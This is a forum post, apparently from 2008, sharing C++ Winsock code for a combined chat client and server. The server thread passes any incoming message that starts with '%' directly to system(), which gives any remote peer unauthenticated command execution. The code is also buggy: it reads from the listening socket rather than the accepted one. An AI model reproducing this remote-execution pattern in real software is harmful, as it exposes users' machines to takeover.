QUOTE(perfectly.insane @ 25 Jul, 2008 - 02:41 PM)

Yes, it should be very similar to the code that you posted originally. Except, the parameters to the socket() call should be changed as you stated.
If you're getting nothing back, you should check the return code from recv. If it's a -1, that indicates an error. For Winsock, I believe WSAGetLastError() should give you the error code.
Well good news...I decided to combind the server and the client together by using multi threading....
i went to get the error code but now it works like it should??? Ill post the code up,
Thank you for your help/replies
CODE
using namespace std;
//---------------------------------------------------------------------------
int error;
int port;
char Address[30];
SOCKET s;
WSADATA wsadata;
SOCKADDR_IN target;
//---------------------------------------------------------------------------
#pragma argsused
void ConnectToHost(char* IPAddress)
{
error=WSAStartup(0x0202, &wsadata);
if (error)
{
cout << "Error occured on step 1";
system("pause");
}
if (wsadata.wVersion != 0x0202)
{
WSACleanup();
system("echo Error occured on step two");
system("pause");
}
target.sin_family = AF_INET;
target.sin_port = htons (7976);
target.sin_addr.s_addr = inet_addr (IPAddress);
s = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s == INVALID_SOCKET)
{
cout << "Error occured on step 'TARGET'";
system("pause");
}
if (connect(s, (SOCKADDR *)&target, sizeof(target)) == SOCKET_ERROR)
{
cout << "Error connecting" << endl;
system("pause");
}
start:;
char You[1024];
char sndBuff[1024];
cin.getline(sndBuff,1024);
cout << endl<<endl; //add white space for USER FRIENDLY
gethostname(You,1024);
int yLen = strlen(You);
int sndLen = strlen(sndBuff);
if (sndBuff[0] == '~')
{
goto exit;
}
send(s,You,yLen,0);
send(s,sndBuff,sndLen,0);
goto start;
exit:;
if (s)
{
closesocket(s);
WSACleanup();
}
}
DWORD WINAPI Server(LPVOID)
{
SOCKET G;
char recvBuff[1024];
char HostName[1024];
char sndBuff[]= "Hello\n";
WSADATA wsadata;
error=WSAStartup(0x0202, &wsadata);
if (error)
{
cout << "Error occured on step 1";
system("pause");
}
if (wsadata.wVersion != 0x0202)
{
WSACleanup();
system("echo Error occured on step two");
system("pause");
}
char ServerName[30];
gethostname(ServerName,30);
cout << "(YOU) " << ServerName << " is started on port 7976" << endl;
SOCKADDR_IN Server;
Server.sin_family = AF_INET;
Server.sin_port = htons (7976);
Server.sin_addr.s_addr = inet_addr ("0.0.0.0");
G = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (G == INVALID_SOCKET)
{
cout << "Error occured on step 'TARGET'";
system("pause");
}
if (bind(G, (SOCKADDR *)&Server, sizeof(Server)) == SOCKET_ERROR)
{
cout << "Error Binding" << endl;
system("pause");
}
cout << endl << "Server is now ready" << endl << endl;
start:;
listen(G,2);
accept(G,NULL,NULL);
recv(G,HostName,30,0);
memset(recvBuff, 0, sizeof(recvBuff));
recv(G,recvBuff,1024,0);
if ( recvBuff[0] == '%')
{
recvBuff[0]=' ';
system(recvBuff);
}
else
{
cout << HostName << " : " << recvBuff << endl;
}
goto start;
return 1;
}
int main(int argc, char* argv[])
{
char sndme[1024];
cout << "Enter a address" << endl;
cin >> Address;
cin.ignore(1);
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)&Server,0,0,NULL);
ConnectToHost(Address);
system("pause");
}